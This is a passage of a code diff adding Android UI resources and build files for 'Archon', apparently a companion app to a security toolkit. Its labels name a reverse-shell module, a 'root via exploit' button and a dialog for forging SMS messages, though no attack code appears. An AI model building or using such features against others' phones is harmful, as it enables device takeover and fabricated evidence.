android:text="1. Tap START PAIRING below\n2. A notification will appear\n3. Open Developer Options > Wireless Debugging\n4. Tap 'Pair with pairing code'\n5. Enter the code in Archon's notification"
|
||||
android:textColor="@color/text_primary"
|
||||
android:textSize="13sp"
|
||||
android:fontFamily="monospace"
|
||||
android:lineSpacingExtra="4dp"
|
||||
android:layout_marginBottom="12dp" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_start_pairing"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="START PAIRING"
|
||||
android:textColor="@color/background"
|
||||
android:textSize="16sp"
|
||||
style="@style/Widget.Material3.Button"
|
||||
app:backgroundTint="@color/terminal_green" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/local_adb_status"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Status: not paired"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginTop="8dp" />
|
||||
</LinearLayout>
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<!-- ═══ STEP 2: Archon Server ═══ -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="12dp"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:padding="16dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="STEP 2: Archon Server"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="16sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Shell-level server (UID 2000) via app_process"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="8dp" />
|
||||
|
||||
<!-- Status -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:layout_marginBottom="12dp">
|
||||
|
||||
<View
|
||||
android:id="@+id/archon_server_status_dot"
|
||||
android:layout_width="10dp"
|
||||
android:layout_height="10dp"
|
||||
android:layout_marginEnd="8dp" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/archon_server_status"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Status: checking..."
|
||||
android:textColor="@color/text_primary"
|
||||
android:textSize="13sp"
|
||||
android:fontFamily="monospace" />
|
||||
</LinearLayout>
|
||||
|
||||
<TextView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Modules (Shield, Honeypot, RevShell) run through\nthe Archon Server on localhost:17321."
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:lineSpacingExtra="2dp"
|
||||
android:layout_marginBottom="12dp" />
|
||||
|
||||
<!-- Server buttons -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:layout_marginBottom="8dp">
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_start_archon_server"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="START SERVER"
|
||||
android:textColor="@color/background"
|
||||
style="@style/Widget.Material3.Button"
|
||||
app:backgroundTint="@color/terminal_green" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_stop_archon_server"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="STOP SERVER"
|
||||
android:textColor="@color/text_primary"
|
||||
android:layout_marginStart="8dp"
|
||||
android:enabled="false"
|
||||
style="@style/Widget.Material3.Button.OutlinedButton"
|
||||
app:strokeColor="@color/danger" />
|
||||
</LinearLayout>
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_show_command"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="SHOW ADB COMMAND"
|
||||
android:textSize="11sp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
|
||||
</LinearLayout>
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<!-- ═══ ALT: USB via AUTARCH ═══ -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="12dp"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:padding="16dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="ALT: USB via AUTARCH"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="16sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Connect phone to AUTARCH via USB cable"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="8dp" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/server_adb_status"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Server: not configured"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="8dp" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_bootstrap_usb"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="BOOTSTRAP VIA USB"
|
||||
android:textColor="@color/background"
|
||||
style="@style/Widget.Material3.Button"
|
||||
app:backgroundTint="@color/terminal_green" />
|
||||
</LinearLayout>
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<!-- ═══ ALT: Root Access ═══ -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="12dp"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:padding="16dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="ALT: Root Access"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="16sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/root_status"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Status: checking..."
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="8dp" />
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal">
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_check_root"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="CHECK ROOT"
|
||||
android:textColor="@color/background"
|
||||
style="@style/Widget.Material3.Button"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_root_exploit"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="ROOT VIA EXPLOIT"
|
||||
android:textColor="@color/background"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button"
|
||||
app:backgroundTint="@color/warning" />
|
||||
</LinearLayout>
|
||||
</LinearLayout>
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<!-- ═══ Output Log ═══ -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
app:cardBackgroundColor="@color/surface_dark"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:padding="12dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Output Log:"
|
||||
android:textColor="@color/terminal_green_dim"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="4dp" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/setup_output_log"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="> ready_"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="11sp"
|
||||
android:fontFamily="monospace"
|
||||
android:lineSpacingExtra="2dp"
|
||||
android:minLines="5" />
|
||||
</LinearLayout>
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
</LinearLayout>
|
||||
</ScrollView>
|
||||
@@ -0,0 +1,92 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<LinearLayout
|
||||
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:padding="12dp"
|
||||
android:background="?android:attr/selectableItemBackground">
|
||||
|
||||
<!-- Contact avatar (circle with initial) -->
|
||||
<FrameLayout
|
||||
android:layout_width="44dp"
|
||||
android:layout_height="44dp"
|
||||
android:layout_marginEnd="12dp">
|
||||
|
||||
<View
|
||||
android:id="@+id/avatar_bg"
|
||||
android:layout_width="44dp"
|
||||
android:layout_height="44dp" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/avatar_text"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:gravity="center"
|
||||
android:textColor="#FFFFFF"
|
||||
android:textSize="18sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace" />
|
||||
</FrameLayout>
|
||||
|
||||
<!-- Name and snippet -->
|
||||
<LinearLayout
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:orientation="vertical"
|
||||
android:layout_marginEnd="12dp">
|
||||
|
||||
<TextView
|
||||
android:id="@+id/contact_name"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:textColor="@color/text_primary"
|
||||
android:textSize="15sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace"
|
||||
android:singleLine="true"
|
||||
android:ellipsize="end"
|
||||
android:layout_marginBottom="2dp" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/message_snippet"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="13sp"
|
||||
android:fontFamily="monospace"
|
||||
android:singleLine="true"
|
||||
android:ellipsize="end" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Date and unread badge -->
|
||||
<LinearLayout
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:gravity="end|center_vertical">
|
||||
|
||||
<TextView
|
||||
android:id="@+id/conversation_date"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="11sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="4dp" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/unread_badge"
|
||||
android:layout_width="22dp"
|
||||
android:layout_height="22dp"
|
||||
android:gravity="center"
|
||||
android:textColor="#FFFFFF"
|
||||
android:textSize="10sp"
|
||||
android:textStyle="bold"
|
||||
android:background="@color/danger"
|
||||
android:visibility="gone" />
|
||||
</LinearLayout>
|
||||
|
||||
</LinearLayout>
|
||||
@@ -0,0 +1,67 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<androidx.constraintlayout.widget.ConstraintLayout
|
||||
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
xmlns:app="http://schemas.android.com/apk/res-auto"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:paddingTop="2dp"
|
||||
android:paddingBottom="2dp"
|
||||
android:paddingStart="4dp"
|
||||
android:paddingEnd="64dp">
|
||||
|
||||
<!-- Received message bubble — left-aligned, dark gray -->
|
||||
<LinearLayout
|
||||
android:id="@+id/bubble_container"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:background="@color/surface"
|
||||
android:paddingStart="12dp"
|
||||
android:paddingEnd="12dp"
|
||||
android:paddingTop="8dp"
|
||||
android:paddingBottom="6dp"
|
||||
app:layout_constraintStart_toStartOf="parent"
|
||||
app:layout_constraintTop_toTopOf="parent">
|
||||
|
||||
<!-- Message body -->
|
||||
<TextView
|
||||
android:id="@+id/bubble_body"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:textColor="@color/text_primary"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="2dp" />
|
||||
|
||||
<!-- Bottom row: time + RCS indicator -->
|
||||
<LinearLayout
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:layout_gravity="end">
|
||||
|
||||
<!-- RCS/MMS indicator -->
|
||||
<TextView
|
||||
android:id="@+id/rcs_indicator"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="9sp"
|
||||
android:fontFamily="monospace"
|
||||
android:textStyle="bold"
|
||||
android:layout_marginEnd="6dp"
|
||||
android:visibility="gone" />
|
||||
|
||||
<!-- Timestamp -->
|
||||
<TextView
|
||||
android:id="@+id/bubble_time"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:textColor="@color/text_muted"
|
||||
android:textSize="10sp"
|
||||
android:fontFamily="monospace" />
|
||||
</LinearLayout>
|
||||
</LinearLayout>
|
||||
|
||||
</androidx.constraintlayout.widget.ConstraintLayout>
|
||||
@@ -0,0 +1,78 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<androidx.constraintlayout.widget.ConstraintLayout
|
||||
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
xmlns:app="http://schemas.android.com/apk/res-auto"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:paddingTop="2dp"
|
||||
android:paddingBottom="2dp"
|
||||
android:paddingStart="64dp"
|
||||
android:paddingEnd="4dp">
|
||||
|
||||
<!-- Sent message bubble — right-aligned, accent color -->
|
||||
<LinearLayout
|
||||
android:id="@+id/bubble_container"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:background="@color/terminal_green_dim"
|
||||
android:paddingStart="12dp"
|
||||
android:paddingEnd="12dp"
|
||||
android:paddingTop="8dp"
|
||||
android:paddingBottom="6dp"
|
||||
app:layout_constraintEnd_toEndOf="parent"
|
||||
app:layout_constraintTop_toTopOf="parent">
|
||||
|
||||
<!-- Message body -->
|
||||
<TextView
|
||||
android:id="@+id/bubble_body"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:textColor="@color/text_primary"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="2dp" />
|
||||
|
||||
<!-- Bottom row: time + status + RCS indicator -->
|
||||
<LinearLayout
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:layout_gravity="end">
|
||||
|
||||
<!-- RCS/MMS indicator -->
|
||||
<TextView
|
||||
android:id="@+id/rcs_indicator"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="9sp"
|
||||
android:fontFamily="monospace"
|
||||
android:textStyle="bold"
|
||||
android:layout_marginEnd="6dp"
|
||||
android:visibility="gone" />
|
||||
|
||||
<!-- Delivery status -->
|
||||
<TextView
|
||||
android:id="@+id/bubble_status"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:textColor="@color/text_muted"
|
||||
android:textSize="10sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginEnd="6dp"
|
||||
android:visibility="gone" />
|
||||
|
||||
<!-- Timestamp -->
|
||||
<TextView
|
||||
android:id="@+id/bubble_time"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:textColor="@color/text_muted"
|
||||
android:textSize="10sp"
|
||||
android:fontFamily="monospace" />
|
||||
</LinearLayout>
|
||||
</LinearLayout>
|
||||
|
||||
</androidx.constraintlayout.widget.ConstraintLayout>
|
||||
23
autarch_companion/app/src/main/res/menu/bottom_nav.xml
Normal file
23
autarch_companion/app/src/main/res/menu/bottom_nav.xml
Normal file
@@ -0,0 +1,23 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<menu xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
<item
|
||||
android:id="@+id/nav_dashboard"
|
||||
android:icon="@android:drawable/ic_menu_compass"
|
||||
android:title="@string/nav_dashboard" />
|
||||
<item
|
||||
android:id="@+id/nav_messaging"
|
||||
android:icon="@android:drawable/ic_dialog_email"
|
||||
android:title="@string/nav_messaging" />
|
||||
<item
|
||||
android:id="@+id/nav_modules"
|
||||
android:icon="@android:drawable/ic_menu_manage"
|
||||
android:title="@string/nav_modules" />
|
||||
<item
|
||||
android:id="@+id/nav_setup"
|
||||
android:icon="@drawable/ic_setup"
|
||||
android:title="@string/nav_setup" />
|
||||
<item
|
||||
android:id="@+id/nav_settings"
|
||||
android:icon="@android:drawable/ic_menu_preferences"
|
||||
android:title="@string/nav_settings" />
|
||||
</menu>
|
||||
38
autarch_companion/app/src/main/res/navigation/nav_graph.xml
Normal file
38
autarch_companion/app/src/main/res/navigation/nav_graph.xml
Normal file
@@ -0,0 +1,38 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<navigation
|
||||
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
xmlns:app="http://schemas.android.com/apk/res-auto"
|
||||
android:id="@+id/nav_graph"
|
||||
app:startDestination="@id/nav_dashboard">
|
||||
|
||||
<fragment
|
||||
android:id="@+id/nav_dashboard"
|
||||
android:name="com.darkhal.archon.ui.DashboardFragment"
|
||||
android:label="@string/nav_dashboard" />
|
||||
|
||||
<fragment
|
||||
android:id="@+id/nav_messaging"
|
||||
android:name="com.darkhal.archon.ui.MessagingFragment"
|
||||
android:label="@string/nav_messaging" />
|
||||
|
||||
<fragment
|
||||
android:id="@+id/nav_links"
|
||||
android:name="com.darkhal.archon.ui.LinksFragment"
|
||||
android:label="@string/nav_links" />
|
||||
|
||||
<fragment
|
||||
android:id="@+id/nav_modules"
|
||||
android:name="com.darkhal.archon.ui.ModulesFragment"
|
||||
android:label="@string/nav_modules" />
|
||||
|
||||
<fragment
|
||||
android:id="@+id/nav_setup"
|
||||
android:name="com.darkhal.archon.ui.SetupFragment"
|
||||
android:label="@string/nav_setup" />
|
||||
|
||||
<fragment
|
||||
android:id="@+id/nav_settings"
|
||||
android:name="com.darkhal.archon.ui.SettingsFragment"
|
||||
android:label="@string/nav_settings" />
|
||||
|
||||
</navigation>
|
||||
18
autarch_companion/app/src/main/res/values/colors.xml
Normal file
18
autarch_companion/app/src/main/res/values/colors.xml
Normal file
@@ -0,0 +1,18 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<color name="terminal_green">#FF00FF41</color>
|
||||
<color name="terminal_green_dim">#FF006B1A</color>
|
||||
<color name="background">#FF0D0D0D</color>
|
||||
<color name="surface">#FF1A1A1A</color>
|
||||
<color name="surface_dark">#FF111111</color>
|
||||
<color name="text_primary">#FFE0E0E0</color>
|
||||
<color name="text_secondary">#FF888888</color>
|
||||
<color name="text_muted">#FF555555</color>
|
||||
<color name="primary">#FF00FF41</color>
|
||||
<color name="status_online">#FF00FF41</color>
|
||||
<color name="status_offline">#FF666666</color>
|
||||
<color name="danger">#FFFF4444</color>
|
||||
<color name="warning">#FFFFAA00</color>
|
||||
<color name="black">#FF000000</color>
|
||||
<color name="nav_item_color">#FF00FF41</color>
|
||||
</resources>
|
||||
90
autarch_companion/app/src/main/res/values/strings.xml
Normal file
90
autarch_companion/app/src/main/res/values/strings.xml
Normal file
@@ -0,0 +1,90 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="app_name">Archon</string>
|
||||
|
||||
<!-- Navigation -->
|
||||
<string name="nav_dashboard">Dashboard</string>
|
||||
<string name="nav_links">Links</string>
|
||||
<string name="nav_modules">Modules</string>
|
||||
<string name="nav_setup">Setup</string>
|
||||
<string name="nav_settings">Settings</string>
|
||||
|
||||
<!-- Discovery -->
|
||||
<string name="server_discovery">Server Discovery</string>
|
||||
<string name="discovery_idle">Tap SCAN to find AUTARCH</string>
|
||||
<string name="discovery_methods">LAN / Wi-Fi Direct / Bluetooth</string>
|
||||
<string name="scan_network">SCAN</string>
|
||||
|
||||
<!-- Dashboard -->
|
||||
<string name="dashboard_title">ARCHON</string>
|
||||
<string name="adb_control">ADB Control</string>
|
||||
<string name="adb_status_unknown">ADB: checking...</string>
|
||||
<string name="enable_adb_tcp">Enable ADB TCP/IP</string>
|
||||
<string name="usbip_export">USB/IP Export</string>
|
||||
<string name="usbip_status_unknown">USB/IP: checking...</string>
|
||||
<string name="enable_usbip_export">Enable USB/IP Export</string>
|
||||
<string name="adb_server">ADB Server</string>
|
||||
<string name="kill_adb">KILL</string>
|
||||
<string name="restart_adb">RESTART</string>
|
||||
<string name="auto_restart_adb">Auto-restart ADB</string>
|
||||
<string name="wireguard_status">WireGuard</string>
|
||||
<string name="wg_checking">WG: checking...</string>
|
||||
<string name="wg_server_ip_label">Server: --</string>
|
||||
<string name="ready">> ready_</string>
|
||||
|
||||
<!-- Links -->
|
||||
<string name="links_title">AUTARCH</string>
|
||||
<string name="server_url_placeholder">Server: --</string>
|
||||
<string name="link_dashboard">Dashboard</string>
|
||||
<string name="link_wireguard">WireGuard</string>
|
||||
<string name="link_shield">Shield</string>
|
||||
<string name="link_hardware">Hardware</string>
|
||||
<string name="link_wireshark">Wireshark</string>
|
||||
<string name="link_osint">OSINT</string>
|
||||
<string name="link_defense">Defense</string>
|
||||
<string name="link_offense">Offense</string>
|
||||
<string name="link_settings">Settings</string>
|
||||
|
||||
<!-- Messaging -->
|
||||
<string name="nav_messaging">Messages</string>
|
||||
<string name="messaging_title">SMS/RCS</string>
|
||||
<string name="messaging_become_default">DEFAULT</string>
|
||||
<string name="messaging_restore_default">RESTORE</string>
|
||||
<string name="messaging_tools">TOOLS</string>
|
||||
<string name="messaging_search_hint">Search messages...</string>
|
||||
<string name="messaging_input_hint">Type a message...</string>
|
||||
<string name="messaging_send">SEND</string>
|
||||
<string name="messaging_export">EXPORT</string>
|
||||
<string name="messaging_new_message">New message</string>
|
||||
<string name="messaging_empty">No conversations found.\nCheck SMS permissions or tap + to forge a message.</string>
|
||||
|
||||
<!-- Forge Dialog -->
|
||||
<string name="forge_dialog_title">FORGE MESSAGE</string>
|
||||
<string name="forge_phone_label">Phone Number</string>
|
||||
<string name="forge_phone_hint">+15551234567</string>
|
||||
<string name="forge_name_label">Contact Name (optional)</string>
|
||||
<string name="forge_name_hint">John Doe</string>
|
||||
<string name="forge_body_label">Message Body</string>
|
||||
<string name="forge_body_hint">Enter message text...</string>
|
||||
<string name="forge_direction_label">Direction</string>
|
||||
<string name="forge_received">RECEIVED</string>
|
||||
<string name="forge_sent">SENT</string>
|
||||
<string name="forge_date_label">Date / Time</string>
|
||||
<string name="forge_pick_date">Date</string>
|
||||
<string name="forge_pick_time">Time</string>
|
||||
<string name="forge_mark_read">Mark as read</string>
|
||||
|
||||
<!-- Settings -->
|
||||
<string name="settings_title">SETTINGS</string>
|
||||
<string name="server_connection">Server Connection</string>
|
||||
<string name="hint_server_ip">AUTARCH Server IP</string>
|
||||
<string name="hint_web_port">Web UI Port (default: 8181)</string>
|
||||
<string name="adb_configuration">ADB Configuration</string>
|
||||
<string name="hint_adb_port">ADB TCP Port</string>
|
||||
<string name="hint_usbip_port">USB/IP Port</string>
|
||||
<string name="bbs_configuration">BBS Configuration</string>
|
||||
<string name="hint_bbs_address">Veilid BBS Address</string>
|
||||
<string name="auto_detect">AUTO-DETECT SERVER</string>
|
||||
<string name="test_connection">TEST</string>
|
||||
<string name="save_settings">SAVE</string>
|
||||
</resources>
|
||||
16
autarch_companion/app/src/main/res/values/themes.xml
Normal file
16
autarch_companion/app/src/main/res/values/themes.xml
Normal file
@@ -0,0 +1,16 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<style name="Theme.Archon" parent="Theme.Material3.Dark.NoActionBar">
|
||||
<item name="colorPrimary">@color/terminal_green</item>
|
||||
<item name="colorPrimaryVariant">@color/terminal_green_dim</item>
|
||||
<item name="colorOnPrimary">@color/background</item>
|
||||
<item name="colorSecondary">@color/terminal_green_dim</item>
|
||||
<item name="colorOnSecondary">@color/text_primary</item>
|
||||
<item name="android:colorBackground">@color/background</item>
|
||||
<item name="colorSurface">@color/surface</item>
|
||||
<item name="colorOnSurface">@color/text_primary</item>
|
||||
<item name="android:statusBarColor">@color/background</item>
|
||||
<item name="android:navigationBarColor">@color/surface</item>
|
||||
<item name="android:windowBackground">@color/background</item>
|
||||
</style>
|
||||
</resources>
|
||||
3
autarch_companion/build.gradle.kts
Normal file
3
autarch_companion/build.gradle.kts
Normal file
@@ -0,0 +1,3 @@
|
||||
plugins {
|
||||
id("com.android.application") version "9.0.1" apply false
|
||||
}
|
||||
4
autarch_companion/gradle.properties
Normal file
4
autarch_companion/gradle.properties
Normal file
@@ -0,0 +1,4 @@
|
||||
org.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8
|
||||
android.useAndroidX=true
|
||||
kotlin.code.style=official
|
||||
android.nonTransitiveRClass=true
|
||||
BIN
autarch_companion/gradle/wrapper/gradle-wrapper.jar
vendored
Normal file
BIN
autarch_companion/gradle/wrapper/gradle-wrapper.jar
vendored
Normal file
Binary file not shown.
7
autarch_companion/gradle/wrapper/gradle-wrapper.properties
vendored
Normal file
7
autarch_companion/gradle/wrapper/gradle-wrapper.properties
vendored
Normal file
@@ -0,0 +1,7 @@
|
||||
distributionBase=GRADLE_USER_HOME
|
||||
distributionPath=wrapper/dists
|
||||
distributionUrl=https\://services.gradle.org/distributions/gradle-9.3.1-bin.zip
|
||||
networkTimeout=10000
|
||||
validateDistributionUrl=true
|
||||
zipStoreBase=GRADLE_USER_HOME
|
||||
zipStorePath=wrapper/dists
|
||||
248
autarch_companion/gradlew
vendored
Normal file
248
autarch_companion/gradlew
vendored
Normal file
@@ -0,0 +1,248 @@
|
||||
#!/bin/sh
|
||||
|
||||
#
|
||||
# Copyright © 2015 the original authors.
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# https://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
# SPDX-License-Identifier: Apache-2.0
|
||||
#
|
||||
|
||||
##############################################################################
|
||||
#
|
||||
# Gradle start up script for POSIX generated by Gradle.
|
||||
#
|
||||
# Important for running:
|
||||
#
|
||||
